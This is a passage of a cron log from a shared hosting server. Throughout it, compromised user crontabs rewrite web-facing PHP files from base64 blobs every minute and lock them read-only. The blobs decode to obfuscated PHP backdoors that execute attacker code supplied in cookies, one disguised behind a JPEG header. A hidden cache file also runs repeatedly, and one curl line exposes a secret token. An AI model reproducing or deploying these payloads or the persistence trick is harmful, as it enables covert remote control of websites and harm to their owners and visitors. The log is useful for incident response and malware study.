AgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:01:01 medusa CROND[18783]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:01:01 medusa CROND[18787]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:01:01 medusa CROND[18788]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:01:01 medusa CROND[18794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:01:01 medusa CROND[18795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:01:01 medusa CROND[18808]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:01:01 medusa run-parts(/etc/cron.hourly)[18778]: starting 0anacron
Mar  2 11:01:02 medusa run-parts(/etc/cron.hourly)[18842]: finished 0anacron
Mar  2 11:02:01 medusa CROND[6099]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:02:01 medusa CROND[6173]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:02:01 medusa CROND[6294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:02:01 medusa CROND[6375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:02:01 medusa CROND[6379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:02:01 medusa CROND[6377]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:02:01 medusa CROND[6378]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:02:01 medusa CROND[6380]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:02:01 medusa CROND[6382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:02:01 medusa CROND[6384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:02:01 medusa CROND[6386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:02:01 medusa CROND[6389]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:02:01 medusa CROND[6387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:03:01 medusa CROND[25873]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:03:01 medusa CROND[25874]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:03:01 medusa CROND[25876]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:03:01 medusa CROND[25877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:03:01 medusa CROND[25878]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:03:01 medusa CROND[25879]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:03:01 medusa CROND[25887]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:03:01 medusa CROND[25888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:03:01 medusa CROND[25895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:03:01 medusa CROND[25899]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:03:01 medusa CROND[25905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4t